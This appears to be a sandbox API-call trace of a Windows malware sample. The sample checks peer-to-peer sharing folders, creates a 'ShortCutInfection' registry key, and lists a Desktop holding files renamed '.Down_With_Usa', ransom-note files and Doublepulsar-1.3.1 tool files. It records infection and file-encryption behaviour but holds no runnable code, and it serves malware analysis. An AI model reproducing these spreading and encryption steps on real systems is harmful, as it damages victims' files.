[0240.328] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\grokster\\my grokster\\" (normalized: "c:\\program files\\grokster\\my grokster"), fInfoLevelId=0x0, lpFileInformation=0x2ec1f0 | out: lpFileInformation=0x2ec1f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0240.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ec0d0) returned 1
[0240.328] GetFullPathNameW (in: lpFileName="C:\\Program Files\\bearshare\\shared\\", nBufferLength=0x105, lpBuffer=0x2ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\bearshare\\shared\\", lpFilePart=0x0) returned 0x22
[0240.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ec110) returned 1
[0240.328] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\bearshare\\shared\\" (normalized: "c:\\program files\\bearshare\\shared"), fInfoLevelId=0x0, lpFileInformation=0x2ec1f0 | out: lpFileInformation=0x2ec1f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0240.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ec0d0) returned 1
[0240.329] GetFullPathNameW (in: lpFileName="C:\\Program Files\\edonkey2000\\incoming\\", nBufferLength=0x105, lpBuffer=0x2ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\edonkey2000\\incoming\\", lpFilePart=0x0) returned 0x26
[0240.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ec110) returned 1
[0240.329] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\edonkey2000\\incoming\\" (normalized: "c:\\program files\\edonkey2000\\incoming"), fInfoLevelId=0x0, lpFileInformation=0x2ec1f0 | out: lpFileInformation=0x2ec1f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0240.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ec0d0) returned 1
[0240.329] GetFullPathNameW (in: lpFileName="C:\\Program Files\\morpheus\\my shared folder\\", nBufferLength=0x105, lpBuffer=0x2ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\morpheus\\my shared folder\\", lpFilePart=0x0) returned 0x2b
[0240.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ec110) returned 1
[0240.329] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\morpheus\\my shared folder\\" (normalized: "c:\\program files\\morpheus\\my shared folder"), fInfoLevelId=0x0, lpFileInformation=0x2ec1f0 | out: lpFileInformation=0x2ec1f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0240.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ec0d0) returned 1
[0240.330] GetFullPathNameW (in: lpFileName="C:\\Program Files\\limewire\\shared\\", nBufferLength=0x105, lpBuffer=0x2ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\limewire\\shared\\", lpFilePart=0x0) returned 0x21
[0240.330] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ec110) returned 1
[0240.330] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\limewire\\shared\\" (normalized: "c:\\program files\\limewire\\shared"), fInfoLevelId=0x0, lpFileInformation=0x2ec1f0 | out: lpFileInformation=0x2ec1f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0240.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ec0d0) returned 1
[0240.330] GetFullPathNameW (in: lpFileName="C:\\Program Files\\tesla\\files\\", nBufferLength=0x105, lpBuffer=0x2ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\tesla\\files\\", lpFilePart=0x0) returned 0x1d
[0240.330] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ec110) returned 1
[0240.330] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\tesla\\files\\" (normalized: "c:\\program files\\tesla\\files"), fInfoLevelId=0x0, lpFileInformation=0x2ec1f0 | out: lpFileInformation=0x2ec1f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0240.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ec0d0) returned 1
[0240.331] GetFullPathNameW (in: lpFileName="C:\\Program Files\\winmx\\shared\\", nBufferLength=0x105, lpBuffer=0x2ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\winmx\\shared\\", lpFilePart=0x0) returned 0x1e
[0240.331] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ec110) returned 1
[0240.331] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\winmx\\shared\\" (normalized: "c:\\program files\\winmx\\shared"), fInfoLevelId=0x0, lpFileInformation=0x2ec1f0 | out: lpFileInformation=0x2ec1f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0240.331] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ec0d0) returned 1
[0240.555] qsort (_Base=0x1b259638, _NumOfElements=0x1f3, _SizeOfElements=0x8, _PtFuncCompare=0x7fef427e8e0)
[0240.772] VirtualQuery (in: lpAddress=0x7fe94019640, lpBuffer=0x2ed5d0, dwLength=0x30 | out: lpBuffer=0x2ed5d0*(BaseAddress=0x7fe94019000, AllocationBase=0x7fe94010000, AllocationProtect=0x1, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x40, Type=0x20000, __alignment2=0x0)) returned 0x30
[0240.929] RtlLookupFunctionEntry (in: ControlPc=0x7fef3661274, ImageBase=0x2e98f8, HistoryTable=0x0 | out: ImageBase=0x2e98f8, HistoryTable=0x0) returned 0x7fef3e86b08
[0240.935] lstrlenW (lpString="mscorlib,") returned 9
[0241.064] GetProcessHeap () returned 0xd0000
[0241.180] VirtualQuery (in: lpAddress=0x7fe94080a60, lpBuffer=0x2ebee0, dwLength=0x30 | out: lpBuffer=0x2ebee0*(BaseAddress=0x7fe94080000, AllocationBase=0x7fe94080000, AllocationProtect=0x1, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x40, Type=0x20000, __alignment2=0x0)) returned 0x30
[0241.185] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\ShortCutInfection", ulOptions=0x0, samDesired=0x2001f, phkResult=0x2ec4c8 | out: phkResult=0x2ec4c8*=0x0) returned 0x2
[0241.186] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\ShortCutInfection", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x2ec520, lpdwDisposition=0x2ec608 | out: phkResult=0x2ec520*=0x14c0, lpdwDisposition=0x2ec608*=0x1) returned 0x0
[0241.189] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr="GetValue", cchSrc=8, lpDestStr=0x286cd84, cchDest=8, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x1abf1f60 | out: lpDestStr="getvalue") returned 8
[0241.216] RegQueryValueExW (in: hKey=0x14c0, lpValueName="tox.tox", lpReserved=0x0, lpType=0x2ec5f8, lpData=0x0, lpcbData=0x2ec5f0*=0x0 | out: lpType=0x2ec5f8*=0x0, lpData=0x0, lpcbData=0x2ec5f0*=0x0) returned 0x2
[0241.224] qsort (in: _Base=0x1b3a18, _NumOfElements=0x5, _SizeOfElements=0x8, _PtFuncCompare=0x7fef42a06e0 | out: _Base=0x1b3a18)
[0241.314] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\ShortCutInfection", ulOptions=0x0, samDesired=0x2001f, phkResult=0x2ec438 | out: phkResult=0x2ec438*=0x1524) returned 0x0
[0241.326] RegQueryValueExW (in: hKey=0x1524, lpValueName="EdebnvkPebnvkPEdebnvkPvk", lpReserved=0x0, lpType=0x2ec498, lpData=0x0, lpcbData=0x2ec490*=0x0 | out: lpType=0x2ec498*=0x0, lpData=0x0, lpcbData=0x2ec490*=0x0) returned 0x2
[0241.328] RegSetValueExW (in: hKey=0x1524, lpValueName="EdebnvkPebnvkPEdebnvkPvk", Reserved=0x0, dwType=0x1, lpData="True", cbData=0xa | out: lpData="True") returned 0x0
[0241.329] CoTaskMemAlloc (cb=0x20c) returned 0x27d84af0
[0241.329] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x27d84af0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x0
[0241.331] CoTaskMemFree (pv=0x27d84af0)
[0241.332] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecba0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0241.332] CoTaskMemAlloc (cb=0x20c) returned 0x27d84af0
[0241.332] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x27d84af0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x0
[0241.333] CoTaskMemFree (pv=0x27d84af0)
[0241.333] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecba0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0241.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed1b0) returned 1
[0241.334] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0241.334] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26
[0241.334] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x2ece50 | out: lpFindFileData=0x2ece50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x663f97e0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x663f97e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x27f05cd0
[0241.336] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x663f97e0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x663f97e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0241.337] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26d31500, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x26d31500, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x26d57660, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.txt", cAlternateFileName="!PLEAS~1.TXT")) returned 1
[0241.337] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26dc9a80, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x26dc9a80, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x26defbe0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.vbs", cAlternateFileName="!PLEAS~1.VBS")) returned 1
[0241.338] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x881f4fb0, ftCreationTime.dwHighDateTime=0x1d5dee8, ftLastAccessTime.dwLowDateTime=0x8645d910, ftLastAccessTime.dwHighDateTime=0x1d5dd59, ftLastWriteTime.dwLowDateTime=0x1f2746a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x13710, dwReserved0=0x0, dwReserved1=0x0, cFileName="14twDPt60izPLxo82S4.swf.Down_With_Usa", cAlternateFileName="14TWDP~1.DOW")) returned 1
[0241.338] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3aec6660, ftCreationTime.dwHighDateTime=0x1d5dfba, ftLastAccessTime.dwLowDateTime=0xca23aac0, ftLastAccessTime.dwHighDateTime=0x1d5db1c, ftLastWriteTime.dwLowDateTime=0x1f358ee0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xdb10, dwReserved0=0x0, dwReserved1=0x0, cFileName="1g_JOPnK9w7TxVEt.mkv.Down_With_Usa", cAlternateFileName="1G_JOP~1.DOW")) returned 1
[0241.339] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499cf2b0, ftCreationTime.dwHighDateTime=0x1d5e465, ftLastAccessTime.dwLowDateTime=0x90a8d300, ftLastAccessTime.dwHighDateTime=0x1d5e72f, ftLastWriteTime.dwLowDateTime=0x1f3cb300, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x81d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2spXr1L63i0rOFWOwGxO.jpg.Down_With_Usa", cAlternateFileName="2SPXR1~1.DOW")) returned 1
[0241.339] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62e71940, ftCreationTime.dwHighDateTime=0x1d5e293, ftLastAccessTime.dwLowDateTime=0xba234f20, ftLastAccessTime.dwHighDateTime=0x1d5dcc2, ftLastWriteTime.dwLowDateTime=0x1f43d720, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xb2c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3KX2W5Gx_oMR2z.avi.Down_With_Usa", cAlternateFileName="3KX2W5~1.DOW")) returned 1
[0241.385] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x280fabe0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x280fabe0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x280fabe0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x3a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="adfw-2.dll", cAlternateFileName="")) returned 1
[0241.386] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27f7de20, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x27f7de20, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x27f7de20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="adfw.dll", cAlternateFileName="")) returned 1
[0241.386] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27397020, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x27397020, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x27397020, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Attack", cAlternateFileName="")) returned 1
[0241.387] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x628e42f0, ftCreationTime.dwHighDateTime=0x1d5e227, ftLastAccessTime.dwLowDateTime=0xeb6eb640, ftLastAccessTime.dwHighDateTime=0x1d5e29a, ftLastWriteTime.dwLowDateTime=0x1f4fbe00, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4c60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ciBvwtUgoKdRmxR9BZC.odp.Down_With_Usa", cAlternateFileName="CIBVWT~1.DOW")) returned 1
[0241.387] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9f23c20, ftCreationTime.dwHighDateTime=0x1d5d8c0, ftLastAccessTime.dwLowDateTime=0xa4f39ad0, ftLastAccessTime.dwHighDateTime=0x1d5e58f, ftLastWriteTime.dwLowDateTime=0x1f594380, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x151a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="clTNgHV.mp3.Down_With_Usa", cAlternateFileName="CLTNGH~1.DOW")) returned 1
[0241.388] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28120d40, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28120d40, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28146ea0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="cnli-0.dll", cAlternateFileName="")) returned 1
[0241.388] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2822b6e0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2822b6e0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28251840, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x18a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="cnli-1.dll", cAlternateFileName="")) returned 1
[0241.389] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28251840, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28251840, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x282779a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="coli-0.dll", cAlternateFileName="")) returned 1
[0241.389] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x282c3c60, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x282c3c60, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x282c3c60, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="crli-0.dll", cAlternateFileName="")) returned 1
[0241.390] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0241.390] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a295b20, ftCreationTime.dwHighDateTime=0x1d5dbdb, ftLastAccessTime.dwLowDateTime=0xce0d62f0, ftLastAccessTime.dwHighDateTime=0x1d5e1bd, ftLastWriteTime.dwLowDateTime=0x1f5e0640, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x5380, dwReserved0=0x0, dwReserved1=0x0, cFileName="DhM_7QwBM.avi.Down_With_Usa", cAlternateFileName="DHM_7Q~1.DOW")) returned 1
[0241.390] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc04acda0, ftCreationTime.dwHighDateTime=0x1d5e669, ftLastAccessTime.dwLowDateTime=0xe5d04d60, ftLastAccessTime.dwHighDateTime=0x1d5e827, ftLastWriteTime.dwLowDateTime=0xe5d04d60, ftLastWriteTime.dwHighDateTime=0x1d5e827, nFileSizeHigh=0x0, nFileSizeLow=0x9532, dwReserved0=0x0, dwReserved1=0x0, cFileName="dJlVeYs3JTlELmoZmk3d.m4a", cAlternateFileName="DJLVEY~1.M4A")) returned 1
[0241.391] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x282e9dc0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x282e9dc0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x282e9dc0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dmgd-1.dll", cAlternateFileName="")) returned 1
[0241.391] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2830ff20, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2830ff20, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2830ff20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x75200, dwReserved0=0x0, dwReserved1=0x0, cFileName="dmgd-4.dll", cAlternateFileName="")) returned 1
[0241.392] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27db4da0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x27db4da0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x27ddaf00, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Doublepulsar-1.3.1.exe", cAlternateFileName="DOUBLE~1.EXE")) returned 1
[0241.392] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27e4d320, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x27e4d320, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x27e995e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1487, dwReserved0=0x0, dwReserved1=0x0, cFileName="Doublepulsar-1.3.1.xml", cAlternateFileName="DOUBLE~1.XML")) returned 1
[0241.393] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa153c500, ftCreationTime.dwHighDateTime=0x1d5e1f0, ftLastAccessTime.dwLowDateTime=0xac901d80, ftLastAccessTime.dwHighDateTime=0x1d5dca8, ftLastWriteTime.dwLowDateTime=0x1f69ed20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x18810, dwReserved0=0x0, dwReserved1=0x0, cFileName="elq1cNIsT.pdf.Down_With_Usa", cAlternateFileName="ELQ1CN~1.DOW")) returned 1
[0241.393] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe8a230, ftCreationTime.dwHighDateTime=0x1d5e24b, ftLastAccessTime.dwLowDateTime=0x4d61fd80, ftLastAccessTime.dwHighDateTime=0x1d5da3f, ftLastWriteTime.dwLowDateTime=0x1f75d400, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x13160, dwReserved0=0x0, dwReserved1=0x0, cFileName="ErnNouUqEe1_z.rtf.Down_With_Usa", cAlternateFileName="ERNNOU~1.DOW")) returned 1
